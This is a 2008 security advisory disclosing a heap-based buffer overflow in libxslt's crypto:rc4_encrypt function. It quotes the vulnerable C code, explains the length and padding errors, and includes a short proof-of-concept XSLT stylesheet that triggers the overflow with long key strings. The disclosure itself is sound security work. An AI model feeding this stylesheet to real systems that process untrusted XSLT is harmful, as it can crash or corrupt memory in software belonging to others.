CESA-2008-003 - rev 1

[See all my vulnerabilities at http://scary.beasts.org/security]

[Blog if you want to subscribe to new findings is at http://scarybeastsecurity.blogspot.com/]

Heap-based buffer overflow in libxslt

Similarly to my Ghostscript note, XSLT is a turing-complete language. Executing untrusted programs in said languages remains a challenge. The weak points on the attack surface are often the built-in functions, which do things like take integers as arguments...

This advisory primarily notes a heap-based buffer overflow in the crypto:rc4_encrypt function in crypto.c. The issue is over-trust of the length of an incoming key string:

static void
exsltCryptoRc4EncryptFunction (xmlXPathParserContextPtr ctxt, int nargs) {
...
    key = xmlXPathPopString (ctxt);
    key_len = xmlUTF8Strlen (str);
...
    padkey = xmlMallocAtomic (RC4_KEY_LENGTH);
    key_size = xmlUTF8Strsize (key, key_len);
    memcpy (padkey, key, key_size);
    memset (padkey + key_size, '\0', sizeof (padkey));
...

As can be seen, the padkey heap allocation is of a fixed size, but an arbitrary length string from the XSL function argument is copied on top.

In addition, the key_len variable appears to be initialized incorrectly. The length of the plaintext string is used rather than the length of the key string.

Furthermore, the attempt to zero-pad the key looks faulty. sizeof(padkey) will always be sizeof(void*).

The function crypto:rc4_decrypt would seem to suffer the same issues.

Demo evil stylesheet:

<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:str="http://exslt.org/strings"
xmlns:crypto="http://exslt.org/crypto"
xmlns:math="http://exslt.org/math"
extension-element-prefixes="str crypto math">
<xsl:template match="/">
<xsl:value-of select="crypto:rc4_encrypt('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA', 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')"/>
blah
</xsl:template>
</xsl:stylesheet>

Credits

• Google - this flaw was discovered in Google's time. I'm with Google's Security Team, and we're always recruiting talented security individuals. Mail me.

CESA-2008-003 - rev 1
Chris Evans
scarybeasts@gmail.com